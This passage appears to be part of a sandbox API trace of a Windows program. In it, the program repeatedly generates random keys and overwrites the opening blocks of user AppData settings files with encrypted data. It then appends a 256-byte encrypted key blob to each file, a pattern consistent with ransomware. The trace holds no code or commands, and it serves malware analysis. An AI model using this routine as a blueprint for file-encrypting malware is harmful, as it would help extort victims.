lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.717] CloseHandle (hObject=0xb94) returned 1 [0157.718] WriteFile (in: hFile=0xb94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.719] CloseHandle (hObject=0xb94) returned 1 [0157.720] WriteFile (in: hFile=0xb94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.720] CloseHandle (hObject=0xb94) returned 1 [0157.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.721] ReadFile (in: hFile=0xba8, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.721] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.722] WriteFile (in: hFile=0xba8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.722] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.722] WriteFile (in: hFile=0xba8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.723] WriteFile (in: hFile=0xba8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.723] CloseHandle (hObject=0xba8) returned 1 [0157.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.726] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.726] ReadFile (in: hFile=0xba8, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.731] SetFilePointer (in: hFile=0xba8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.731] WriteFile (in: hFile=0xba8, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.731] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.731] WriteFile (in: hFile=0xba8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.732] WriteFile (in: hFile=0xba8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.732] CloseHandle (hObject=0xba8) returned 1 [0157.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0157.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.734] ReadFile (in: hFile=0xba8, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.741] SetFilePointer (in: hFile=0xba8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.741] WriteFile (in: hFile=0xba8, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.742] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.742] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.742] WriteFile (in: hFile=0xba8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.742] WriteFile (in: hFile=0xba8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.742] CloseHandle (hObject=0xba8) returned 1 [0157.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.744] ReadFile (in: hFile=0xba8, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.744] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.745] WriteFile (in: hFile=0xba8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.745] SetFilePointer (in: hFile=0xba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.745] WriteFile (in: hFile=0xba8, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.746] WriteFile (in: hFile=0xba8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.746] CloseHandle (hObject=0xba8) returned 1 [0157.748] WriteFile (in: hFile=0xbb4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.749] CloseHandle (hObject=0xbb4) returned 1 [0157.750] WriteFile (in: hFile=0xbb4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.750] CloseHandle (hObject=0xbb4) returned 1 [0157.751] WriteFile (in: hFile=0xbb4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.752] CloseHandle (hObject=0xbb4) returned 1 [0157.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0157.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.753] ReadFile (in: hFile=0xbc8, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.753] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.753] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.753] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.754] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.754] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.754] CloseHandle (hObject=0xbc8) returned 1 [0157.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0157.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.756] ReadFile (in: hFile=0xbc8, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.768] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.768] WriteFile (in: hFile=0xbc8, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.769] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.769] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.770] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.770] CloseHandle (hObject=0xbc8) returned 1 [0157.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0157.786] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.787] ReadFile (in: hFile=0xbc8, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.789] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.789] WriteFile (in: hFile=0xbc8, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.789] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.789] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.789] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.789] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.790] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.790] CloseHandle (hObject=0xbc8) returned 1 [0157.791] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0157.791] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0157.791] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.792] ReadFile (in: hFile=0xbc8, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.792] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.792] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.792] SetFilePointer (in: hFile=0xbc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.792] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.793] WriteFile (in: hFile=0xbc8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.793] CloseHandle (hObject=0xbc8) returned 1 [0157.795] WriteFile (in: hFile=0xbd4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.796] CloseHandle (hObject=0xbd4) returned 1 [0157.797] WriteFile (in: hFile=0xbd4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.798] CloseHandle (hObject=0xbd4) returned 1 [0157.798] WriteFile (in: hFile=0xbd4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.799] CloseHandle (hObject=0xbd4) returned 1 [0157.803] WriteFile (in: hFile=0xbd8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.804] CloseHandle (hObject=0xbd8) returned 1 [0157.805] WriteFile (in: hFile=0xbd8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.806] CloseHandle (hObject=0xbd8) returned 1 [0157.807] WriteFile (in: hFile=0xbd8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.807] CloseHandle (hObject=0xbd8) returned 1 [0157.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0157.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.809] ReadFile (in: hFile=0xbec, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.809] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.809] WriteFile (in: hFile=0xbec, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.809] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.809] WriteFile (in: hFile=0xbec, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.810] WriteFile (in: hFile=0xbec, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.810] CloseHandle (hObject=0xbec) returned 1 [0157.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0157.812] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.812] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.812] ReadFile (in: hFile=0xbec, lpBuffer=0x2ecd058, 